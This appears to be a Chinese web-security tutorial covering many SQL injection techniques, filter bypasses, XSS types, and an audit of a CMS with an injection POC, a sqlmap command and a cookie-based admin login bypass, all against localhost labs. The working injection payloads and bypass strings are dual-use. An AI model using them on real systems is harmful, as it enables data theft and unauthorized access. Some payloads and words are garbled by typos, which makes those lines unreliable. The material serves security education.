尝试在2的位置粘贴语句,括号还是不可少,获取了emails表的第一个字段名,通过使用limit 1,1,获取了emails表的第二个字段名。当获得了库名、表名和字段名时,就可以构造SQL语句查询数据库的数据。
如查询字段email_id对应的数据,构造的SQL语句如下:
Select email_id from sql.emails limit 0,1;
之后,页面将返回email_id的第一条数据。
在Union注入页面中,程序获取GET参数ID,将ID拼接到SQL语句中,在数据库中查询参数ID对应的内容,然后将第一条查询结果中的username和address输出到页面,于是将数据输出到页面上的,所以可以利用Union语句查询其他数据。
当访问id=1union select 1,2,3时,执行的SQL语句为:
select * from users where `id`=1 union select 1,2,3
此时SQL语句可以分为select* from users where `id`=1和union select 1,2,3两条,利用第二条语句(Union查询)就可以获取数据库中的数据。
Boolean注入攻击的测试地址:http://127.0.0.1/Boolean.php?id=1。
访问该网址时,页面返回yes,在URL后加一个单引号,返回结果将有yes变为no。所以,页面只返回yes或no。可以用Boolean注入先判断数据库的长度,语句如下:
‘ and length(database())>=1--+
有单引号,所以用注释符来注释。1位置可以是任何数字。判断出数据库库名的长度后,使用逐字符判断的方式获取数据库的库名。数据库库名的范围一般在a~z、0~9之内,可能还有一些特殊字符,不区分字母大小写。
逐字符判断的SQL语句为:
‘ and substr(database(),1,1)=’t’--+
Substr是截取,意为截取database()的值,从第一个字符开始,每次只返回一个。
Substr与limit的用法区别:
Limit从0开始排序,而另一个是从1开始排序
可以用Burp的爆破功能爆破其中的’t’值,当值是s时,页面返回yes,其它值均返回no。另外,还可用ASCLL码的字符进行查询。数据库名是‘sql’,判断第二位字母是否是q,用以下语句:
‘and substr(database(),2,1)=’q’--+
查询表名、字段名的语句也应粘贴在database()的位置。
先在Boolean注入页面中程序先获取GET参数ID,通过preg_match判断其中是否存在union/sleep/benchmark等危险字符。然后将参数ID拼接到SQL语句,从数据库中查询,有结果,则返回yes,否则为no,页面上也只会显示yes或no.
4.1.8 报错注入攻击
报错注入攻击的测试地址:http://127.0.0.1/sql/error.php?username=1。
首先访问http://127.0.0.1/sql/errorphp?username=1',因为参数username的值是1‘,在数据库中执行SQL时,会因为多了一个单引号而报错。之后程序直接将错误信息输出到了页面上,所以此处可以利用报错注入获取数据。报错注入有多种格式,此处利用函数updatem()演示 SQL语句获取userO的值,SQL语句如下:
‘and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
其中0x7e是ASCII编码,解码结果为~。然后尝试获取当前的库名,接着用select语句继续获取数据库中的库名、表名和字段名。
在报错注入页面中,程序获取GET参数username后,将username拼接到SQL语句中,然后到数据库查询。如果执行成功,就输出ok;如果出错,则通过echo mysqli_error($con)将错误信息输出到页面(mysqli_error返回上一个MySQL函数的错误),
输入usermame=1’时,SQL语句为select*from users where'username`='1"。执行时,会因为多了一个单引号而报错。利用这种错误回显,通过floor()、updatexml()等函数将要查询的内容输出到页面上。
时间注入攻击的测试地址:
http://127.0.0.1/sql/time/time.php?id-1.
访问该网址时,页面返回yes,在网址的后面加上一个单引号,再次访问,页面返回no。这个结果与Boolean注入非常相似,时间盲注,它与Boolean注入的不同之处在于,时间注入是利用sleep()或benchmark()等函数让MySQL的执行时间变长。时间盲注多与IF(expr1,expr2,expr3)结合使用,此if语句含义是:如果expr1是TRUE,则IFO的返回值为expr2:否则返回值则为expr3。所以判断数据库库名长度的语句应为:
if (length(database())>1,sleep(5),1)
堆叠查询注入攻击的测试地址:http://127.0.0.1/dd.php?id=1.
堆叠查询可以执行多条语句,多语句之间以分号隔开。堆叠查询注入利用这个特点,在第二个SQL语句中构造自己要执行的语句。首先访问id-1‘,页面返回 MySQL错误,再访问id-1%23,页面返回正常结果。这里可以使用Boolean注入、时间注入,也可以使用另外一种注入方式--堆叠注入。
堆叠注入的语句为:
select if(substr(user(),1,1)='r',sleep(3),1)%23
从堆叠注入语句中可以看到,第二条SQL语句(select if(substr(user0.1,1) ,deepO3).19%23)就是时间盲注的语句。
获取数据库表名:
';select if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(3),1)%23
二次注入攻击的测试地址:
http://127.0.0.1/er/1.php?username=test 和 http://127.0.0.1/er/2.php?id=10。
其中,1php页面的功能是注册用户名,也是插入SQL语句的地方;
2.php页面的功能是通过参数ID读取用户名和用户信息。
第一步,访问1.php?uscrmame=test.
从页面返回结果可以看到用户名test‘对应的ID为21,访问2.php?id=21。
从返回结果可以看到服务端返回了MySQL的错误(多了一个单引号引起的语法错误),这时回到第一步,先访问1php?usemame=test'order by1%23,获取一个新的 id=32,当再次访问2.php?id-32时,页面返回空白;再次尝试,访问1.php?username=test‘order by 10%23,获取一个新的id-33,当再访问2php?id=33时,页面返回错误信息(Unknown column '10"in 'order clause'),这说明空白页而就是正常返回,通过不断尝试,判断字段数,访问1.php?username=test' union select 1,2,3%23,获取一个新id=39,再访问2.php?id=39,发现页面返回了 union select中的2和3字段。在2、2字段中间,插入语句就可获得数据库中的数据。
宽字节注入攻击的测试地址:http://127.0.0.1/kzj.php?id=1.
尝试在页面2的位置查询当前数据库的库名(database()),语句为:
1d=-1%df’ union select 1,user(),3,%23
查询数据库的表名时,用以下语句:
select table_name from information_schema.tables where table_schema='sq1’ limit 0,1
但此时,由于单引号被转义,会自动多出反斜杠,导致SQL语句出错,所以此处需要利用另一种方法:嵌套查询,就是在一个查询语句中,再添加一个查询语句,下列就是更改后的查询数据库表名的语句:
select table_name from information_schema.tables where table_schema=(select databse()) limit 0,1
可以看到,原本的table_schema-'sql"变成了table_schema=(select databasc()),因为 select database()的结果就是'sql’,这就是嵌套查询。
如果想查询后面的表名,还需修改limit后的数字,可用以下语句尝试查询emails表里的字段:
select column_name from information_schema.columns where table_schema=(select database()) and table_name=( select table_name from information_schema.tables where table_schema=(select databse()) limit 0,1) limit 0,1
这里使用了三层嵌套,第一层是table_schema,它代表库名的嵌套,第二层和第三层是table_name的嵌套。我们可以看到语句中有两个limit,前一个limit控制表名的顺序,后一个则控制字段名的顺序。如这里查询的不是emails表,而是users表,则需要更改limit的值。后面的操作如Union注入所示。
Cookie注入攻击测试地址:http://127.0.0.1/cookie.php.
发现URL中没有GET参数,但是页面返回正常,使用Burp Suite抓取数据包,现cookie中存在id=1的参数。修改cookie中的id=1为id=l',然后再次访问该URL,发现页面返回错误。接下来,分别修改cookie中id=1为id=l and 1=1和id =l and 1=2,再次访问,判断该页面是否存在SQL注入漏洞,返回结果如图4-57和图4-58所示,得出cookie中的参数ID存在SQL注入的结论。接着使用order by查询字段,使用Union注入方法完成此次注入。
测试地址:http://127.0.0.1/sql/base64/base64.php?id=MQ %3d %3d.
从URL中可以看出,ID参数经过base64编码(%3d是=的URL编码格式),解码后发现ID为1,尝试加上一个单引号并一起转成base64编码。
当访问id=1'编码后的网址时(http://127.0.0.1/sql/base64/base64.php?id=MSc%3d),页面返回错误。1and 1=1和1 and 1=2的base64编码分别为MSBhbmQgMT0x和MSBhbm QgMTOy,再次访问id=MSBhbmQgMT0x和id=MSBhbmQgMTOy。从返回结果可知,访问id=1 and id 1=1时,页面返回与id=1相同的结果,而访问id=1 and 1=2时,页面返回与id=1不同的结果,所以该网页存在SQL漏洞。
接着,使用order by查询字段,使用Union方法完成此次注入。
xFF注入攻击的测试地址:http://127.0.0.1/sql/xff.php.
通过Burp Suite抓取数据包容,可以看到HTTP请求头中有一个头部参数 X-Forwarded-for。X-Forwarded-For简称XFF头,它代表客户端真实的IP,通过修 X-Forwarded-for的值可以伪造客户端IP、将X-Forwarded-for设置为127.0.0.1、然后请问该URL、页面返回正常,将X-Forwarded-for设置为127.0.0.1、再次访问该URL,页面返回MySQL的报销信息,将X-Forwarded-for分别设置为127.0.0.1‘and 1=1#和127.0.0.1‘and 1=2#,再次访问该URL。通过页面的返回结果,可以判断出该地址存在SQL注入漏洞,可用order by判断表中的字段数量,尝试使用Union查询注入方法,语法为:X-Forwarded-for:127.0.0.1’ union select 1,2,3,4#。接着使用Union注入方法完成此次注入。
大小写绕过注入的测试地址:http://127.0.0.1/sql/1.php?id=1.
访问id-1发现页面报出MySQL错误,当访问id=1 and 1=1时,页面返回”no hack”,显然是被拦截了,说明有关键词被过滤。使用关键字大小写的方式尝试绕过,使用order by查询字段数量,发现还是被拦截了,还是利用修改关键字大小写来绕过它,尝试只改order这个单词,结果发现当order改成Order后,页面显示正常,说明by并没有被拦截,最终通过尝试,发现数据库表中存在3个字段。接着,使用Union方法完成此次注入,若仍遇到关键字被拦截,可尝试修改大小写的方式绕过拦截。
双写绕过注入的测试地址:http://127.0.0.1/sql/2.php?id=1。
访问id=1’,发现页面报出MySQL错误,接着访问id=1 and 1=1,页面依然报出 MySQL的错误,但是从错误信息中可以看出,输入的and 1=1变成了1=1,因此可以得知,关键字and被过滤了。这时尝试使用双写的方式绕过,如anandd 1=1,当and被过滤后,anandd变成了and,所以这时传入数据库的语句是and 1=1,之后结果成功执行并返回正常页面。接着,输入aandnd1=2,返回错误信息,判断页面参数存在SOL注入漏洞。当访问id=1 order by 3时,MySQL的错误信息为“der by3”,所以这里并没有过滤order整个单词,而是仅过滤or,因此只需要双写or即可。
编码绕过注入的测试地址:http://127.0.0.1/sql/3.php?id=1.
访问id=1',发现页面报出MySQL错误,接着访问id=1 and 1=1和id-1 and 1=2时,发现关键字and被拦截。尝试使用URL全编码的方式绕过拦截。由于服务器会自动对 URL进行一次URL解码,所以需要把关键词编码两次,注意,URI编码需选择全编码,关键字and进行两次URI全编码的结果是%25%36%31%25%36%65%25%36%34,访问 id-1%25%36%31%25%36%65%25%36%34 1=1时,页面返回与id=1相同的结果,访问 id-1 %25%36%31%25%36%65%25%36%34 1=2时,页面返回与id=1不同的结果,所以该网址存在SQL注入漏洞。后面的注入过程与Union注入的一致,判断过滤的关键词,并经过两次URL全编码即可。
内联注释绕过注入的测试地址:http://127.0.0.1/sql/4.php?id=1。
访问id-1',发现页面报出MySQL错误,接着访问id=1 and 1=1和id=1 and 1=2时,发现页面提示“no hack”,即关键字被拦截。尝试使用内联注释绕过。访问id=1/*!and*/1=1时,页面返回与id=1相同的结果;访问id=1/*!and*/1=2时,页面返回与id-1不同的结果,后面的注入过程与Union注入的一致。
常用的SQL注入漏洞的修复方法有两种
1.过滤危险字符
多数CMS都采用过滤危险字符的方式,如果匹配到,则退出程序。使用过滤的方式,在一定程度上可以防止SQL注入漏洞,但仍然存在被绕过的可能。
2、使用预编译语句
使用PDO预编译语句,需注意,不要将变量直接拼接到PDO语句中,而要使用占位符进行数据库的增加、删除、修改、查询。
跨站脚本(简称XSS)是一种针对网站应用程序的安全漏洞攻击技术,是代码注入的一种。
XSS攻击可分为三种:反射型、存储型和DOM型。
1、反射型XSS
反射型XSS又称非持久型XSS,这种攻击方式往往具有一次性。
攻击方式:攻击者通过电子邮件等方式将包含XSS代码的恶意链接发送给目标用户。当目标用户访问该链接时,服务器接收该目标用户的请求并进行处理,然后服务器把带有XSS代码的数据发送给目标用户的浏览器,浏览器解析这段带有XSS代码的恶意脚本后,就会触发XSS漏洞。
2.存储型XSS
存储型XSS又称持久型XSS,攻击脚本将被永久地存放在目标服务器的数据库或文件中,具有很高的隐蔽性。
攻击方式:这种攻击多见于论坛、博客和留言板,攻击者在发帖的过程中,将恶意脚本连同正常信息一起注入帖子的内容中。随着帖子被服务器存储下来,恶意脚本也永久地被存放在服务器的后端存储器中。当其他用户浏览这个被注入了恶意脚本的帖子时,恶意脚本会在他们的浏览器中得到执行。
例如,恶意攻击者在留言板中加入以下代码:.
当其他用户访问留言板时,就会看到一个弹窗。可以看到,存储型XSS的攻击方式能够将恶意代码永久地嵌入一个页面中,所有访问这个页面的用户都将成为受害者。如果我们能够谨慎对待不明链接,那么反射型XSS攻击将没有多大作为,而存链型XSS则不同,由于它注入在一些我们信任的页面,因此无论我们多么小心,都难免会受到攻击。
3.DOM型XSS
DOM全称Document Object Model,使用DOM可以使程序和脚本能够动态访问和更新文档的内容、结构及样式。
DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。
HTML的标签都是节点,而这些节点组成了DOM的整体结构—节点树。通过 HTML DOM,树中的所有节点均可通过JavaScript进行访问。所有HTML元素(节点)均可被修改,也可以创建或删除节点。
在网站页面中有许多元素,当页面到达浏览器时,浏览器会为页面创建一个顶级的Document object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑,从面修改页面的元素。也就是说,客户端的脚本程序可以通过DOM动态修改页面内容,从客户端获取DOM中的数据并在本地执行。
攻击方式:用户请求一个经过专门设计的URL,它由攻击者提交,而且其中包含XSS代码。服务器的响应不会以任何形式包含攻击者的脚本。当用户的浏览器处理这个响应时,DOM对象就会处理XSS代码,导致存在漏洞。
页面http://192.168.1.101/xss/xss1.php实现的功能是在“输入”表单中输入内容,单击“提交”后,将输入内容放到“输出”表单中,当访问页面时,看到输入的双引号闭合了value属性的双引号,输入的>闭合了input标签的<,导致输入的变成了HTML标签。接下来,在浏览器渲染时,执行了,JS函数alert()导致浏览器弹框,显示“/xss/”。
存储型XSS页面实现的功能是:获取用户输入的留言信息、标题和内容,然后将标题和内容插入到数据库中,并将数据库的留言信息输出到页面上。
4.4.5 DOM型XSS攻击
DOM型XSS攻击页面实现的功能是在“输入”框中输入信息,单击“替换”按纽时、页面会将这里会显示输入的内容”替换为输入的信息、例如当输入“11”的时候,页面将“这里会显示输入的内容”替换为“11”。
当输入< img src=1 οnerrοr=alert(/xsss/)>时,单击“替换”按钮,页面弹出消息框。从HTML源码中可看到,存在JS函数tihuan(),该函数的作用是通过DOM操作将元素id1(输出位置)的内容修改为元素dom_input(输入位置)的内容。
XSS常用的测试语句有:
把双引号修改成如下,代码可以成功执行
http://127.0.0.1/xhcms/index.php?r=contact&page=
扫出如下文件存在问题 File: /xhcms/files/content.php
从上面代码可以看到,第20行$id并没有被单引号包裹
向上追溯看$id可以看到其值来自cid的赋值,cid是可控的,并且只是用了addslashes做过滤,单引号(‘)、双引号(“)、反斜线(\)与 NUL(NULL 字符)经过这个 addslashes函数后会在他们前面加上反斜线。这里是整型注入, addslashes对利用没有影响。
构造利用POC
先使用报错利用代码,获取数据名如下
http://127.0.0.1/xhcms/index.php?r=content&cid=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)
使用sqlmap利用获取当前数据库名
python sqlmap.py -u "http://127.0.0.1/xhcms/index.php?r=content&cid=1" -p cid --current-db
业务逻辑漏洞-后台登录绕过
自动化代码安全审计往往无法查找业务相关的漏洞,比如支付漏洞、任意密码重置,优惠券叠加等。在了解代码和业务的基础上,来进行人工审计。
在进入到管理员首页时,首先会检测是否是登录的状态,
漏洞代码位置:/xhcms/inc/checklogin.php
下面我们看下checklogin.php代码
判断登录的状态是通过截取cookie中user字段的值来判断是否进行了登录。如果COOKIE中user参数为空,那么就跳转到登陆的地方。如果修改user字段不为空,就会成功登录到后台。显然,这种写法是有缺陷的。
我们来利用此漏洞来登录后台,访问如下地址,使用burp拦截
http://127.0.0.1/xhcms/admin/index.php
在cookie里添加;user=1
成功登录到后台